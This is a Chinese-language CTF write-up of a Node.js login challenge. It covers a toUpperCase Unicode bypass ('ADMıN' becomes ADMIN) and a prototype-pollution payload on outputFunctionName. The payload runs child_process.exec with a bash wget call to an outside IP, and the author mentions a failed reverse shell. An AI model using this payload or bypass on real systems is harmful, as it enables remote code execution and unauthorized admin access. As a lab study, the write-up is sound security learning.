注册个账号,并且发现源码泄露
要求必须使用ADMIN登录
var express = require('express'); var router = express.Router(); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } console.log(a); console.log(b); return a } const clone = (a) => { return merge({}, a); } function safeKeyword(keyword) { if(keyword.match(/(admin)/is)) { return keyword } return undefined } router.get('/', function (req, res) { if(!req.session.user){ res.redirect('/login'); } res.outputFunctionName=undefined; res.render('index',data={'user':req.session.user.user}); }); router.get('/login', function (req, res) { res.render('login'); }); router.post('/login', function (req, res) { if(req.body.Submit=="register"){ if(safeKeyword(req.body.userid)){ res.end("<script>alert('forbid word');history.go(-1);</script>") } req.session.user={ 'user':req.body.userid.toUpperCase(), 'passwd': req.body.pwd, 'isLogin':false } res.redirect('/'); } else if(req.body.Submit=="login"){ if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")} if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){ req.session.user.isLogin=true; } else{ res.end("<script>alert('error passwd');history.go(-1);</script>") } } res.redirect('/'); ; }); router.post('/action', function (req, res) { req.session.user={ 'user':'admin', 'passwd': '123123', 'isLogin':true } //if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} console.log(req.body) req.session.user.data = clone(req.body); res.end("<script>alert('success');history.go(-1);</script>"); }); router.get('/info', function (req, res) { console.log(res.outputFunctionName) res.render('index',data={'user':res.outputFunctionName}); }) module.exports = router;
可以看到username使用了
toUpperCase
函数处理,存在漏洞
javascript大小写特性
在javascript中有几个特殊的字符需要记录一下
对于toUpperCase():
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase():
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)
在绕一些规则的时候就可以利用这几个特殊字符进行绕过
使用ADMıN注册后,可以登录为ADMIN。
提示flag在/flag中。
下面根据代码提示应该是原型污染漏洞造成的命令执行,
{ "type": "test", "__proto__": { "outputFunctionName": "a=1;process.mainModule.require('child_process').exec('bash -c \" wget 122.51.254.197:9999 \"')//" } }
可以接收到wget发来的请求,但是我不知道怎么读取到flag,反弹shell不成功,最后放弃了